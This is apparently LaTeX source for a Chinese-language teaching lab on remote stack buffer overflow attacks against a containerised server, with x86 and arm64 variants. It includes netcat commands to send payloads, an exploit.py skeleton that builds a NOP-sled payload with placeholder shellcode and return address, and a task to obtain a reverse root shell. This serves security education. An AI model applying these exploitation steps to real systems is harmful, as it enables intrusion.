% *******************************************
% SECTION
% *******************************************
\section{任务2：第一关}

当我们使用包含的 \texttt{docker-compose.yml} 文件启动容器时，将会运行四个容器，
代表四种难度级别的难关。我们将在这个任务中攻打第一关。

% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{服务器}

我们的第一个目标是在 \texttt{10.9.0.5} 上运行的服务器（端口号为 \texttt{9090}，该程序 \texttt{stack} 是一个
\ifdefined\arm
64 位的程序）。
\else
32 位的程序）。
\fi
我们首先向此服务器发送一条正常消息。您将会看到目标容器打印出来以下信息（实际显示的消息可能不同）。

\ifdefined\arm
\begin{lstlisting}
// 在虚拟机上（即攻击者机器）
$ echo hello | nc 10.9.0.5 9090
Press Ctrl+C

// 目标容器中打印出的消息
server-1-10.9.0.5  | Got a connection from 10.9.0.1
server-1-10.9.0.5  | Starting stack
server-1-10.9.0.5  | Input size: 6
server-1-10.9.0.5  | Frame pointer (x29) inside foo():  0x0000fffffffff110
server-1-10.9.0.5  | Frame pointer (x29) inside bof():  0x0000fffffffff080
server-1-10.9.0.5  | Buffer's address inside bof():     0x0000fffffffff0a0
\end{lstlisting}

从打印出的信息来看，缓冲区地址大于 \texttt{bof()} 函数的帧指针。由于返回地址被存储在（帧指针 + 8）的位置，
因此缓冲区显然位于返回地址之上。这与 x86/amd64 架构不同，在后者中，缓冲区存在返回地址之下。这种差异导致了一个在 x86/amd64 上没有的挑战：如何使用缓冲区溢用来修改返回地址？

\else
\begin{lstlisting}
// 在虚拟机上（即攻击者机器）
$ echo hello | nc 10.9.0.5 9090
Press Ctrl+C

// 目标容器中打印出的消息
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 6
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof():  0xffffdb88    (*@\ding{80}@*)
server-1-10.9.0.5 | Buffer's address inside bof():     0xffffdb18    (*@\ding{80}@*)
server-1-10.9.0.5 | ==== Returned Properly ====
\end{lstlisting}
\fi

服务器会接受用户最多 \texttt{517} 字节的数据，但实际的缓冲区没有那么大，这会导致缓冲区溢出。您的任务是构建攻击载荷以利用此漏洞。
如果您把攻击载荷保存在一个文件中，可以使用以下命令将其发送给服务器。

\begin{lstlisting}
$ cat <file> | nc 10.9.0.5 9090
\end{lstlisting}

如果服务器程序正常返回，将会打印出 \texttt{"Returned Properly"}。如果没有看到这个消息，则表示 \texttt{stack} 程序可能已经崩溃。
服务器仍将继续运行并接受新的连接。

在这个任务中，我们把缓冲区溢出攻击需要的一些关键信息作为提示显示给学生，这包括帧指针的值和缓冲区的地址。
在 x86、amd64 和 arm64 架构中，帧寄存器分别被命名为 \texttt{ebp}、\texttt{rbp} 及 \texttt{x29}。您可以利用提供的信息构建您的攻击载荷。

\paragraph{增加随机性。} 我们在程序中增加了一点随机性，使得不同的学生会看到不同的缓冲区地址和帧指针值。
这些数值只有当容器重启时才会改变，因此只要您保持容器运行状态不变，就会看到相同的数字（不同学生的数字仍然不同）。
这种随机性与地址随机化机制不同。其唯一目的是使每个学生的工作有所不同。

% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 
\subsection{编写攻击代码并发起攻击}

要利用目标程序中的缓冲区溢出漏洞，我们需要准备一个攻击载荷，并将其保存在一个文件中（我们将在本文档中使用 \texttt{badfile} 作为文件名）。我们将使用 Python 程序来实现这一点。
我们提供了一个名为 \texttt{exploit.py} 的程序框架，其已被包含在实验环境设置文件中。代码尚不完整，学生需要替换一些关键值。

\newcommand{\needtochange}{\ding{73} 需要更改 \ding{73}}

\ifdefined\arm
% 用于 arm64 
\begin{lstlisting}[language=python, caption={攻击代码 (\texttt{exploit.py})}]
#!/usr/bin/python3
import sys

# 您可以复制并粘贴任务1的 shellcode
shellcode = (
  ""                     # (*@\needtochange@*)
).encode('latin-1')

# 使用 NOP 填充内容（0xD503201F 是 arm64 架构中的 NOP 指令）
nop = (0xD503201F).to_bytes(4, byteorder='little')
content = bytearray(517)
for offset in range(int(500/4)):
   content[offset*4:offset*4 + 4] = nop

##################################################################
# 将 shellcode 放在攻击载荷的某个位置
start = 0                # (*@\needtochange@*)
content[start:start + len(shellcode)] = shellcode

# 决定返回地址值，并将其放在攻击载荷的某个位置
ret    = 0x00            # (*@\needtochange@*)
offset = 0               # (*@\needtochange@*)

# 根据位数选择使用 4 或者 8 字节填充内容
content[offset:offset + 8] = (ret).to_bytes(8,byteorder='little')
##################################################################

# 将内容写入文件
with open('badfile', 'wb') as f:
  f.write(content)
\end{lstlisting}

\else
% 用于 x86 
\begin{lstlisting}[language=python, caption={攻击代码 (\texttt{exploit.py})}]
#!/usr/bin/python3
import sys

# 您可以复制并粘贴任务1的 shellcode
shellcode = (
  ""                     # (*@\needtochange@*)
).encode('latin-1')

# 使用 NOP 填充内容
content = bytearray(0x90 for i in range(517))

##################################################################
# 将 shellcode 放在攻击载荷的某个位置
start =  0               # (*@\needtochange@*)
content[start:start + len(shellcode)] = shellcode

# 决定返回地址值，并将其放在攻击载荷的某个位置
ret    = 0x00            # (*@\needtochange@*)
offset = 0               # (*@\needtochange@*)

# 根据位数选择使用 4 或者 8 字节填充内容
content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
##################################################################

# 将内容写入文件
with open('badfile', 'wb') as f:
  f.write(content)
\end{lstlisting}
\fi

\ifdefined\arm
需要注意的是，受攻击程序中的缓冲区溢出问题是由 \texttt{memcpy()} 函数引起的，
它与 \texttt{strcpy()} 不同，不会终止于零。因此，在您的输入中可以包含零。
其实，从打印信息可以看到，每个地址的最高两位都是零。
\fi

在您完成上述程序后，请运行该程序。这将生成 \texttt{badfile} 的内容，然后将其发送给服务器。
如果您的攻击代码实现正确，则您放置在 shellcode 内部的命令将会被执行。如果您的命令产生了输出，
应能够在容器窗口中能看到。请提供证明以展示您成功地让服务器执行了您的命令。

\begin{lstlisting}
$./exploit.py   // 创建 badfile
$ cat badfile | nc 10.9.0.5 9090
\end{lstlisting}

\paragraph{反向 shell。} 其实攻击者并不只是想运行一个预定的命令，而是希望在目标服务器上获取一个 root shell，这样就可以运行任何命令。由于我们在远程，如果仅仅让服务器执行 \texttt{/bin/sh} 这样的 shell 程序，我们并没法控制这个 shell 程序。反向 shell 是解决此问题的一种典型技术，请参阅第~\ref{sec:guildelines} 节以获取如何运行反向 shell 的详细说明。
请修改 shellcode 中的命令字符串，以便可以在目标服务器上获得一个反向 shell。请在实验室报告中附上截图和解释。

% 注意：\ding{80} 为 Unicode 符号，其显示内容依赖于字体支持，在某些环境下可能不会正确显示，请根据需要替换或调整该符号。